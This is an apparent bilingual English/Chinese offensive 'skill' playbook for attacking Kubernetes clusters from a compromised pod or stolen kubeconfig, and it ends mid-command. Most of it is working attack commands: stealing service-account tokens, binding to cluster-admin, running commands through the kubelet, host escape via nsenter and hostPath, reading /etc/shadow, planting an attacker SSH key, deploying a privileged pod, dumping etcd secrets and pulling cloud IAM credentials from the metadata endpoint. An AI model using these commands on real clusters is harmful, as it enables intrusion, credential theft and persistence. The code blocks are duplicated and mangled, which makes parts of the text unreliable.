offensive-k8s-attacks
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseKubernetes Cluster Attacks
Kubernetes 集群攻击
You have access to a Kubernetes environment, either through a compromised pod, stolen kubeconfig, or exposed API server. Your objective is to escalate privileges, move laterally, and compromise the cluster or underlying cloud infrastructure. Kubernetes security depends on RBAC policies, network policies, admission controllers, pod security standards, and cloud IAM integration. Each misconfiguration opens a path to deeper access. This skill covers systematic enumeration, privilege escalation, secret extraction, and cluster-wide compromise techniques.
你可以通过已被攻陷的 Pod、窃取的 kubeconfig 或暴露的 API Server 访问 Kubernetes 环境。你的目标是提升权限、横向移动,并攻陷集群或底层云基础设施。Kubernetes 的安全性取决于 RBAC 策略、NetworkPolicy、Admission Controller、Pod Security Standards 以及云 IAM 集成。每项配置错误都会打开通往更深层访问权限的路径。此 skill 涵盖系统化枚举、权限提升、Secret 提取以及集群范围攻陷技术。
Quick Workflow
快速工作流
- Determine your initial position: pod shell, stolen token, exposed API, or kubeconfig file.
- Enumerate service account permissions, cluster roles, and accessible resources.
- Identify escalation vectors: RBAC gaps, kubelet exposure, hostPath mounts, cloud metadata access.
- Escalate privileges by chaining misconfigurations or abusing overprivileged service accounts.
- Extract secrets, pivot to other namespaces, and target the control plane.
- Leverage cloud metadata or etcd access for infrastructure-wide compromise.
- 确定初始位置:Pod shell、窃取的 token、暴露的 API 或 kubeconfig 文件。
- 枚举 Service Account 权限、ClusterRole 和可访问的资源。
- 识别权限提升向量:RBAC 缺口、kubelet 暴露、hostPath mount、云元数据访问。
- 通过串联配置错误或滥用权限过高的 Service Account 来提升权限。
- 提取 Secrets、转向其他 namespace,并攻击控制平面。
- 利用云元数据或 etcd 访问权限攻陷整个基础设施。
Phase 1: Initial Enumeration
阶段 1:初始枚举
Determining Your Position
确定当前位置
bash
undefinedbash
undefinedCheck if you are inside a pod
Check if you are inside a pod
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
Environment variables set by Kubernetes
Environment variables set by Kubernetes
env | grep -i kube
env | grep -i kubernetes
env | grep -i kube
env | grep -i kubernetes
Service host and port are injected into every pod
Service host and port are injected into every pod
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT
DNS resolution for API server
DNS resolution for API server
nslookup kubernetes.default.svc.cluster.local
nslookup kubernetes.default.svc.cluster.local
Determine if kubectl is available
Determine if kubectl is available
which kubectl 2>/dev/null
which kubectl 2>/dev/null
If not, use curl with the service account token
If not, use curl with the service account token
undefinedundefinedSetting Up API Access Without kubectl
在不使用 kubectl 的情况下建立 API 访问
bash
undefinedbash
undefinedExtract token and CA certificate
Extract token and CA certificate
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
Test API access
Test API access
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}"
${APISERVER}/api/v1/namespaces
${APISERVER}/api/v1/namespaces
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}"
${APISERVER}/api/v1/namespaces
${APISERVER}/api/v1/namespaces
Shorthand function for repeated use
Shorthand function for repeated use
k8s_api() {
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}"
"${APISERVER}$1" }
"${APISERVER}$1" }
k8s_api() {
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}"
"${APISERVER}$1" }
"${APISERVER}$1" }
Check your identity
Check your identity
k8s_api "/apis/authentication.k8s.io/v1/tokenreviews"
-X POST -H "Content-Type: application/json"
-d "{"apiVersion":"authentication.k8s.io/v1","kind":"TokenReview","spec":{"token":"${TOKEN}"}}"
-X POST -H "Content-Type: application/json"
-d "{"apiVersion":"authentication.k8s.io/v1","kind":"TokenReview","spec":{"token":"${TOKEN}"}}"
undefinedk8s_api "/apis/authentication.k8s.io/v1/tokenreviews"
-X POST -H "Content-Type: application/json"
-d "{"apiVersion":"authentication.k8s.io/v1","kind":"TokenReview","spec":{"token":"${TOKEN}"}}"
-X POST -H "Content-Type: application/json"
-d "{"apiVersion":"authentication.k8s.io/v1","kind":"TokenReview","spec":{"token":"${TOKEN}"}}"
undefinedAutomated Enumeration Tools
自动化枚举工具
bash
undefinedbash
undefinedkube-hunter - Kubernetes penetration testing tool
kube-hunter - Kubernetes penetration testing tool
kube-hunter --active --remote $APISERVER
kube-hunter --active --remote $APISERVER
peirates - Kubernetes penetration tool (run from within pod)
peirates - Kubernetes penetration tool (run from within pod)
./peirates
./peirates
kubeaudit - Audit Kubernetes clusters for security concerns
kubeaudit - Audit Kubernetes clusters for security concerns
kubeaudit all -f /path/to/kubeconfig
kubeaudit all -f /path/to/kubeconfig
kdigger - Kubernetes-focused container assessment
kdigger - Kubernetes-focused container assessment
./kdigger dig all
./kdigger dig all
kubectl auth can-i - Check your permissions
kubectl auth can-i - Check your permissions
kubectl auth can-i --list
kubectl auth can-i --list --namespace=kube-system
kubectl auth can-i create pods
kubectl auth can-i create pods/exec
kubectl auth can-i get secrets
kubectl auth can-i '' ''
---kubectl auth can-i --list
kubectl auth can-i --list --namespace=kube-system
kubectl auth can-i create pods
kubectl auth can-i create pods/exec
kubectl auth can-i get secrets
kubectl auth can-i '' ''
---Phase 2: Service Account Token Theft and Abuse
阶段 2:Service Account Token 窃取与滥用
Discovering Tokens
发现 Token
bash
undefinedbash
undefinedDefault service account token mount
Default service account token mount
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Projected service account tokens (newer clusters)
Projected service account tokens (newer clusters)
ls /var/run/secrets/kubernetes.io/serviceaccount/
ls /var/run/secrets/kubernetes.io/serviceaccount/
Files: token, ca.crt, namespace
Files: token, ca.crt, namespace
Search for tokens in environment variables and config files
Search for tokens in environment variables and config files
env | grep -i token
find / -name "kubeconfig" -o -name ".kube" -o -name "config" 2>/dev/null
find / -name "*.kubeconfig" 2>/dev/null
env | grep -i token
find / -name "kubeconfig" -o -name ".kube" -o -name "config" 2>/dev/null
find / -name "*.kubeconfig" 2>/dev/null
Check mounted secrets in other pods (if you can list or exec)
Check mounted secrets in other pods (if you can list or exec)
kubectl get pods -A -o jsonpath='{range .items[]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[]}{.secret.secretName} {end}{"\n"}{end}'
kubectl get pods -A -o jsonpath='{range .items[]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[]}{.secret.secretName} {end}{"\n"}{end}'
Look for tokens in etcd, configmaps, or environment variables
Look for tokens in etcd, configmaps, or environment variables
kubectl get secrets -A
kubectl get configmaps -A -o yaml | grep -i token
undefinedkubectl get secrets -A
kubectl get configmaps -A -o yaml | grep -i token
undefinedToken Impersonation
Token 冒充
bash
undefinedbash
undefinedUse a stolen token to authenticate
Use a stolen token to authenticate
kubectl --token="$STOLEN_TOKEN" --server="$APISERVER"
--certificate-authority="$CACERT" auth can-i --list
--certificate-authority="$CACERT" auth can-i --list
kubectl --token="$STOLEN_TOKEN" --server="$APISERVER"
--certificate-authority="$CACERT" auth can-i --list
--certificate-authority="$CACERT" auth can-i --list
Impersonate a service account (requires impersonate verb)
Impersonate a service account (requires impersonate verb)
kubectl auth can-i impersonate serviceaccounts
kubectl --as=system:serviceaccount:kube-system:default get secrets -n kube-system
kubectl auth can-i impersonate serviceaccounts
kubectl --as=system:serviceaccount:kube-system:default get secrets -n kube-system
Impersonate a user
Impersonate a user
kubectl --as=admin@example.com get pods -A
kubectl --as=admin@example.com get pods -A
Impersonate a group
Impersonate a group
kubectl --as-group=system:masters --as=dummy get secrets -A
---kubectl --as-group=system:masters --as=dummy get secrets -A
---Phase 3: RBAC Misconfiguration Exploitation
阶段 3:RBAC 配置错误利用
Identifying Dangerous Permissions
识别危险权限
bash
undefinedbash
undefinedList all cluster roles and role bindings
List all cluster roles and role bindings
kubectl get clusterroles -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for role in data['items']:
for rule in role.get('spec',{}).get('rules',[]):
verbs=rule.get('verbs',[])
resources=rule.get('resources',[])
if '' in verbs or '' in resources:
print(f"DANGER: {role['metadata']['name']} - verbs:{verbs} resources:{resources}")
"
kubectl get clusterroles -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for role in data['items']:
for rule in role.get('spec',{}).get('rules',[]):
verbs=rule.get('verbs',[])
resources=rule.get('resources',[])
if '' in verbs or '' in resources:
print(f"DANGER: {role['metadata']['name']} - verbs:{verbs} resources:{resources}")
"
Check for wildcard permissions
Check for wildcard permissions
kubectl get clusterrolebindings -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for b in data['items']:
subjects = b.get('subjects',[]) or []
role = b.get('roleRef',{}).get('name','')
for s in subjects:
print(f"{s.get('kind')}/{s.get('name')} -> {role}")
"
kubectl get clusterrolebindings -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for b in data['items']:
subjects = b.get('subjects',[]) or []
role = b.get('roleRef',{}).get('name','')
for s in subjects:
print(f"{s.get('kind')}/{s.get('name')} -> {role}")
"
Find service accounts bound to cluster-admin
Find service accounts bound to cluster-admin
kubectl get clusterrolebindings -o json |
python3 -c " import json,sys data=json.load(sys.stdin) for b in data['items']: if b.get('roleRef',{}).get('name')=='cluster-admin': for s in (b.get('subjects') or []): print(f"cluster-admin: {s.get('kind')}/{s.get('namespace','')}/{s.get('name')}") "
python3 -c " import json,sys data=json.load(sys.stdin) for b in data['items']: if b.get('roleRef',{}).get('name')=='cluster-admin': for s in (b.get('subjects') or []): print(f"cluster-admin: {s.get('kind')}/{s.get('namespace','')}/{s.get('name')}") "
undefinedkubectl get clusterrolebindings -o json |
python3 -c " import json,sys data=json.load(sys.stdin) for b in data['items']: if b.get('roleRef',{}).get('name')=='cluster-admin': for s in (b.get('subjects') or []): print(f"cluster-admin: {s.get('kind')}/{s.get('namespace','')}/{s.get('name')}") "
python3 -c " import json,sys data=json.load(sys.stdin) for b in data['items']: if b.get('roleRef',{}).get('name')=='cluster-admin': for s in (b.get('subjects') or []): print(f"cluster-admin: {s.get('kind')}/{s.get('namespace','')}/{s.get('name')}") "
undefinedEscalation via RBAC Gaps
利用 RBAC 缺口提升权限
bash
undefinedbash
undefinedIf you can create role bindings, bind yourself to cluster-admin
If you can create role bindings, bind yourself to cluster-admin
kubectl create clusterrolebinding pwn-binding
--clusterrole=cluster-admin
--serviceaccount=default:default
--clusterrole=cluster-admin
--serviceaccount=default:default
kubectl create clusterrolebinding pwn-binding
--clusterrole=cluster-admin
--serviceaccount=default:default
--clusterrole=cluster-admin
--serviceaccount=default:default
If you can create roles, grant yourself wildcard access
If you can create roles, grant yourself wildcard access
cat <<'EOF' | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: pwn-role
rules:
- apiGroups: [""] resources: [""] verbs: ["*"]
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: pwn-role-binding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: pwn-role
subjects:
- kind: ServiceAccount name: default namespace: default EOF
cat <<'EOF' | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: pwn-role
rules:
- apiGroups: [""] resources: [""] verbs: ["*"]
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: pwn-role-binding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: pwn-role
subjects:
- kind: ServiceAccount name: default namespace: default EOF
If you can patch existing bindings
If you can patch existing bindings
kubectl patch clusterrolebinding existing-binding -p
'{"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}'
'{"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}'
kubectl patch clusterrolebinding existing-binding -p
'{"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}'
'{"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}'
Escalate through escalate verb
Escalate through escalate verb
The "escalate" verb on roles/clusterroles allows granting permissions
The "escalate" verb on roles/clusterroles allows granting permissions
you do not have yourself
you do not have yourself
kubectl auth can-i escalate clusterroles
---kubectl auth can-i escalate clusterroles
---Phase 4: Kubelet API Exploitation
阶段 4:kubelet API 利用
Accessing Kubelet Directly
直接访问 kubelet
bash
undefinedbash
undefinedKubelet API runs on port 10250 (authenticated) and 10255 (read-only, deprecated)
Kubelet API runs on port 10250 (authenticated) and 10255 (read-only, deprecated)
Scan for kubelet ports across cluster nodes
Scan for kubelet ports across cluster nodes
Read-only port (10255) - no auth required if exposed
Read-only port (10255) - no auth required if exposed
curl -s http://NODE_IP:10255/pods | python3 -m json.tool
curl -s http://NODE_IP:10255/spec/
curl -s http://NODE_IP:10255/metrics
curl -s http://NODE_IP:10255/pods | python3 -m json.tool
curl -s http://NODE_IP:10255/spec/
curl -s http://NODE_IP:10255/metrics
Authenticated port (10250) - requires valid credentials
Authenticated port (10250) - requires valid credentials
Use service account token or client certificate
Use service account token or client certificate
curl -sk https://NODE_IP:10250/pods
-H "Authorization: Bearer ${TOKEN}"
-H "Authorization: Bearer ${TOKEN}"
curl -sk https://NODE_IP:10250/pods
-H "Authorization: Bearer ${TOKEN}"
-H "Authorization: Bearer ${TOKEN}"
List running pods on the node
List running pods on the node
curl -sk https://NODE_IP:10250/runningpods/
-H "Authorization: Bearer ${TOKEN}"
-H "Authorization: Bearer ${TOKEN}"
undefinedcurl -sk https://NODE_IP:10250/runningpods/
-H "Authorization: Bearer ${TOKEN}"
-H "Authorization: Bearer ${TOKEN}"
undefinedCommand Execution via Kubelet
通过 kubelet 执行命令
bash
undefinedbash
undefinedkubeletctl tool for kubelet API interaction
kubeletctl tool for kubelet API interaction
kubeletctl -s NODE_IP pods
kubeletctl -s NODE_IP scan rce
kubeletctl -s NODE_IP pods
kubeletctl -s NODE_IP scan rce
Execute commands in pods via kubelet API directly (bypasses API server RBAC)
Execute commands in pods via kubelet API directly (bypasses API server RBAC)
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME
-H "Authorization: Bearer ${TOKEN}"
-d "cmd=id"
-H "Authorization: Bearer ${TOKEN}"
-d "cmd=id"
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME
-H "Authorization: Bearer ${TOKEN}"
-d "cmd=id"
-H "Authorization: Bearer ${TOKEN}"
-d "cmd=id"
Execute in every container on the node
Execute in every container on the node
curl -sk https://NODE_IP:10250/runningpods/
-H "Authorization: Bearer ${TOKEN}" |
python3 -c " import json,sys pods=json.load(sys.stdin) for pod in pods.get('items',[]): ns=pod['metadata']['namespace'] name=pod['metadata']['name'] for c in pod['spec'].get('containers',[]): print(f'{ns}/{name}/{c["name"]}') "
-H "Authorization: Bearer ${TOKEN}" |
python3 -c " import json,sys pods=json.load(sys.stdin) for pod in pods.get('items',[]): ns=pod['metadata']['namespace'] name=pod['metadata']['name'] for c in pod['spec'].get('containers',[]): print(f'{ns}/{name}/{c["name"]}') "
curl -sk https://NODE_IP:10250/runningpods/
-H "Authorization: Bearer ${TOKEN}" |
python3 -c " import json,sys pods=json.load(sys.stdin) for pod in pods.get('items',[]): ns=pod['metadata']['namespace'] name=pod['metadata']['name'] for c in pod['spec'].get('containers',[]): print(f'{ns}/{name}/{c["name"]}') "
-H "Authorization: Bearer ${TOKEN}" |
python3 -c " import json,sys pods=json.load(sys.stdin) for pod in pods.get('items',[]): ns=pod['metadata']['namespace'] name=pod['metadata']['name'] for c in pod['spec'].get('containers',[]): print(f'{ns}/{name}/{c["name"]}') "
Then exec into each one to extract tokens and secrets
Then exec into each one to extract tokens and secrets
Retrieve container logs
Retrieve container logs
curl -sk "https://NODE_IP:10250/containerLogs/NAMESPACE/POD/CONTAINER"
-H "Authorization: Bearer ${TOKEN}"
-H "Authorization: Bearer ${TOKEN}"
---curl -sk "https://NODE_IP:10250/containerLogs/NAMESPACE/POD/CONTAINER"
-H "Authorization: Bearer ${TOKEN}"
-H "Authorization: Bearer ${TOKEN}"
---Phase 5: Pod Escape via Privileged Configuration
阶段 5:通过特权配置实现 Pod 逃逸
hostPID Escape
hostPID 逃逸
bash
undefinedbash
undefinedIf the pod has hostPID: true, you see all host processes
If the pod has hostPID: true, you see all host processes
ps aux # Shows host processes
ps aux # Shows host processes
Access host filesystem via /proc/1/root
Access host filesystem via /proc/1/root
ls -la /proc/1/root/
cat /proc/1/root/etc/shadow
cat /proc/1/root/etc/kubernetes/manifests/kube-apiserver.yaml
ls -la /proc/1/root/
cat /proc/1/root/etc/shadow
cat /proc/1/root/etc/kubernetes/manifests/kube-apiserver.yaml
nsenter into host namespaces
nsenter into host namespaces
nsenter -t 1 -m -u -i -n -p -- bash
nsenter -t 1 -m -u -i -n -p -- bash
Steal tokens from other pods' processes
Steal tokens from other pods' processes
for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do
token=$(cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -i kube)
if [ -n "$token" ]; then
cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
echo "PID $pid ($cmdline): $token"
fi
done
undefinedfor pid in $(ls /proc/ | grep -E '^[0-9]+$'); do
token=$(cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -i kube)
if [ -n "$token" ]; then
cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
echo "PID $pid ($cmdline): $token"
fi
done
undefinedhostNetwork Escape
hostNetwork 逃逸
bash
undefinedbash
undefinedIf the pod has hostNetwork: true, you share the host's network namespace
If the pod has hostNetwork: true, you share the host's network namespace
ip addr show # Shows host network interfaces
ip addr show # Shows host network interfaces
Access services bound to localhost on the host
Access services bound to localhost on the host
curl -s http://127.0.0.1:10255/pods # Kubelet read-only
curl -sk https://127.0.0.1:10250/pods # Kubelet API
curl -s http://127.0.0.1:2379/version # etcd (if exposed)
curl -s http://127.0.0.1:10255/pods # Kubelet read-only
curl -sk https://127.0.0.1:10250/pods # Kubelet API
curl -s http://127.0.0.1:2379/version # etcd (if exposed)
Access cloud metadata from host network perspective
Access cloud metadata from host network perspective
curl -s http://169.254.169.254/latest/meta-data/ # AWS
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ # GCP
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Azure
curl -s http://169.254.169.254/latest/meta-data/ # AWS
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ # GCP
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Azure
Scan internal services
Scan internal services
for port in 443 8443 6443 2379 10250 10255 30000-32767; do
timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/$port" 2>/dev/null && echo "Port $port open"
done
undefinedfor port in 443 8443 6443 2379 10250 10255 30000-32767; do
timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/$port" 2>/dev/null && echo "Port $port open"
done
undefinedhostPath Volume Escape
hostPath Volume 逃逸
bash
undefinedbash
undefinedIf the pod mounts a hostPath volume, you can read/write host files
If the pod mounts a hostPath volume, you can read/write host files
Common dangerous hostPath mounts:
Common dangerous hostPath mounts:
/ - full host filesystem
/ - full host filesystem
/var/run - container runtime sockets
/var/run - container runtime sockets
/etc - host configuration
/etc - host configuration
/var/log - host logs (may contain secrets)
/var/log - host logs (may contain secrets)
/root - root home directory
/root - root home directory
Check what is mounted
Check what is mounted
mount | grep -v overlay
cat /proc/1/mountinfo
mount | grep -v overlay
cat /proc/1/mountinfo
If / is mounted at /host
If / is mounted at /host
cat /host/etc/shadow
cat /host/etc/kubernetes/admin.conf
cat /host/root/.kube/config
cat /host/etc/shadow
cat /host/etc/kubernetes/admin.conf
cat /host/root/.kube/config
Write SSH key for host access
Write SSH key for host access
echo "ssh-rsa AAAA... attacker" >> /host/root/.ssh/authorized_keys
echo "ssh-rsa AAAA... attacker" >> /host/root/.ssh/authorized_keys
Access Docker socket if mounted
Access Docker socket if mounted
ls -la /host/var/run/docker.sock
undefinedls -la /host/var/run/docker.sock
undefinedDeploying a Privileged Pod
部署特权 Pod
bash
undefinedbash
undefinedIf you can create pods, deploy one with full host access
If you can create pods, deploy one with full host access
cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pwn-pod
namespace: default
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["/bin/sh", "-c", "sleep 3600"]
securityContext:
privileged: true
volumeMounts:
- name: host-root mountPath: /host volumes:
- name: host-root hostPath: path: / type: Directory tolerations:
- operator: Exists nodeSelector: node-role.kubernetes.io/control-plane: "" EOF
cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pwn-pod
namespace: default
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["/bin/sh", "-c", "sleep 3600"]
securityContext:
privileged: true
volumeMounts:
- name: host-root mountPath: /host volumes:
- name: host-root hostPath: path: / type: Directory tolerations:
- operator: Exists nodeSelector: node-role.kubernetes.io/control-plane: "" EOF
Wait for pod to be ready, then exec in
Wait for pod to be ready, then exec in
kubectl exec -it pwn-pod -- nsenter -t 1 -m -u -i -n -p -- bash
---kubectl exec -it pwn-pod -- nsenter -t 1 -m -u -i -n -p -- bash
---Phase 6: Secrets Enumeration and Extraction
阶段 6:Secrets 枚举与提取
Kubernetes Secrets
Kubernetes Secrets
bash
undefinedbash
undefinedList all secrets across namespaces
List all secrets across namespaces
kubectl get secrets -A
kubectl get secrets -A
Get specific secret content (base64 encoded)
Get specific secret content (base64 encoded)
kubectl get secret SECRET_NAME -n NAMESPACE -o json
kubectl get secret SECRET_NAME -n NAMESPACE -o json
Decode all secrets in a namespace
Decode all secrets in a namespace
kubectl get secrets -n NAMESPACE -o json | python3 -c "
import json,sys,base64
data=json.load(sys.stdin)
for secret in data['items']:
name=secret['metadata']['name']
print(f'=== {name} ===')
for k,v in (secret.get('data') or {}).items():
try:
decoded=base64.b64decode(v).decode('utf-8','replace')
print(f' {k}: {decoded}')
except:
print(f' {k}: [binary data]')
"
kubectl get secrets -n NAMESPACE -o json | python3 -c "
import json,sys,base64
data=json.load(sys.stdin)
for secret in data['items']:
name=secret['metadata']['name']
print(f'=== {name} ===')
for k,v in (secret.get('data') or {}).items():
try:
decoded=base64.b64decode(v).decode('utf-8','replace')
print(f' {k}: {decoded}')
except:
print(f' {k}: [binary data]')
"
Target high-value secrets
Target high-value secrets
kubectl get secrets -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for s in data['items']:
name=s['metadata']['name']
ns=s['metadata']['namespace']
stype=s.get('type','')
if any(x in name.lower() for x in ['admin','root','cloud','aws','gcp','azure','password','key','cert','token','db','database','api']):
print(f'HIGH-VALUE: {ns}/{name} (type: {stype})')
"
undefinedkubectl get secrets -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for s in data['items']:
name=s['metadata']['name']
ns=s['metadata']['namespace']
stype=s.get('type','')
if any(x in name.lower() for x in ['admin','root','cloud','aws','gcp','azure','password','key','cert','token','db','database','api']):
print(f'HIGH-VALUE: {ns}/{name} (type: {stype})')
"
undefinedetcd Direct Access
直接访问 etcd
bash
undefinedbash
undefinedetcd stores all Kubernetes state including secrets in plaintext (unless encrypted at rest)
etcd stores all Kubernetes state including secrets in plaintext (unless encrypted at rest)
Default port: 2379 (client), 2380 (peer)
Default port: 2379 (client), 2380 (peer)
Check if etcd is accessible
Check if etcd is accessible
curl -s http://ETCD_IP:2379/version
curl -s http://127.0.0.1:2379/version # From host network
curl -s http://ETCD_IP:2379/version
curl -s http://127.0.0.1:2379/version # From host network
If etcd requires TLS, find certificates
If etcd requires TLS, find certificates
On control plane nodes, check:
On control plane nodes, check:
ls -la /etc/kubernetes/pki/etcd/
ls -la /etc/kubernetes/pki/etcd/
ca.crt, server.crt, server.key, peer.crt, peer.key
ca.crt, server.crt, server.key, peer.crt, peer.key
Use etcdctl with certs
Use etcdctl with certs
ETCDCTL_API=3 etcdctl
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get / --prefix --keys-only | head -50
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get / --prefix --keys-only | head -50
ETCDCTL_API=3 etcdctl
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get / --prefix --keys-only | head -50
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get / --prefix --keys-only | head -50
Dump all secrets from etcd
Dump all secrets from etcd
ETCDCTL_API=3 etcdctl
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get /registry/secrets --prefix
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get /registry/secrets --prefix
ETCDCTL_API=3 etcdctl
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get /registry/secrets --prefix
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get /registry/secrets --prefix
Extract specific secret
Extract specific secret
ETCDCTL_API=3 etcdctl
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get /registry/secrets/kube-system/admin-token
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get /registry/secrets/kube-system/admin-token
---ETCDCTL_API=3 etcdctl
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get /registry/secrets/kube-system/admin-token
--endpoints=https://ETCD_IP:2379
--cacert=/etc/kubernetes/pki/etcd/ca.crt
--cert=/etc/kubernetes/pki/etcd/server.crt
--key=/etc/kubernetes/pki/etcd/server.key
get /registry/secrets/kube-system/admin-token
---Phase 7: Cloud Metadata from Pods
阶段 7:从 Pod 访问云元数据
AWS EKS
AWS EKS
bash
undefinedbash
undefinedAccess Instance Metadata Service (IMDS) from pod
Access Instance Metadata Service (IMDS) from pod
IMDSv2 (requires token)
IMDSv2 (requires token)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -s -H "X-aws-ec2-metadata-token: $TOKEN"
http://169.254.169.254/latest/meta-data/iam/security-credentials/
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -s -H "X-aws-ec2-metadata-token: $TOKEN"
http://169.254.169.254/latest/meta-data/iam/security-credentials/
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -s -H "X-aws-ec2-metadata-token: $TOKEN"
http://169.254.169.254/latest/meta-data/iam/security-credentials/
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -s -H "X-aws-ec2-metadata-token: $TOKEN"
http://169.254.169.254/latest/meta-data/iam/security-credentials/
EKS-specific: IRSA (IAM Roles for Service Accounts)
EKS-specific: IRSA (IAM Roles for Service Accounts)
Check for projected token and annotated service account
Check for projected token and annotated service account
cat $AWS_WEB_IDENTITY_TOKEN_FILE
echo $AWS_ROLE_ARN
cat $AWS_WEB_IDENTITY_TOKEN_FILE
echo $AWS_ROLE_ARN
Use AWS CLI with stolen role
Use AWS CLI with stolen role
aws sts assume-role-with-web-identity
--role-arn "$AWS_ROLE_ARN"
--role-session-name pwn
--web-identity-token "$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)"
--role-arn "$AWS_ROLE_ARN"
--role-session-name pwn
